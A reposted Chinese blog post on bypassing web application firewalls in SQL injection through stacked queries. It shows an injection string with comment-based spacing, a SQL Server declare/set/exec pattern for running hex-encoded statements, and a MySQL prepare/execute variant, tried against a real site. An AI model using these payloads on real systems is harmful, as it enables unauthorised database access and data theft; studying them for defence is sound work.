常见的多行查询bypass总结

栏目: 数据库 · SQL Server · 发布时间: 7年前

内容简介:常见的多行查询bypass总结

目前waf越来越多,而且是个开发者都知道有 sql 注入这么一回事

于是我们经常会见到,比如select啊,union,and这些关键字都被过滤了

而且一旦过滤了select,在 mysql 中就难以跨表查询

这给我们带来了很大的麻烦,甚至遇到连符号都过滤的,那就更是增加难度。

但是目前的sql server大多支持多行查询。

而mysql由于mysql_*类函数的淘汰

一部分 程序员 也投入了PDO的怀抱,这都带给了我们以利用的机会

某牛在前段时间发给了我一个站点

sql server数据库,过滤规则非常严苛,直接注入的话不能跨表查询

这就给我们实践的机会

'and/**/1=1/((select/**/top/**/1/**/ip/**/from/**/ipblock/**/where/**/ip/**/like/**/'z%')+2);
declare/**/@s/**/varchar(8000);set/**/@s=0x******;exec(@s)--

由于sql server中exec并不会直接带来返回值,我们需要把回显弄出来,该怎么做呢?

答案是,可以利用insert写入当前表里,再使用报错注入就可以了

常见的多行查询bypass总结

总结一下sql server中的利用过程

declare @s varchar(8000); //不加会报错
set @s=0x***;
exec(@s);

而mysql中,利用的过程是这样的

set @s=0x***;
prepare payload from @s;
execute payload;

可以看到变量是不需要declare的,但是需要引入prepare from语句,对于一些生硬过滤关键字,比如from的waf,可能不太好用。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Concurrency on the JVM

Programming Concurrency on the JVM

Venkat Subramaniam / The Pragmatic Bookshelf / 2011-6-1 / USD 35.00

Concurrency on the Java platform has evolved, from the synchronization model of JDK to software transactional memory (STM) and actor-based concurrency. This book is the first to show you all these con......一起来看看 《Programming Concurrency on the JVM》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具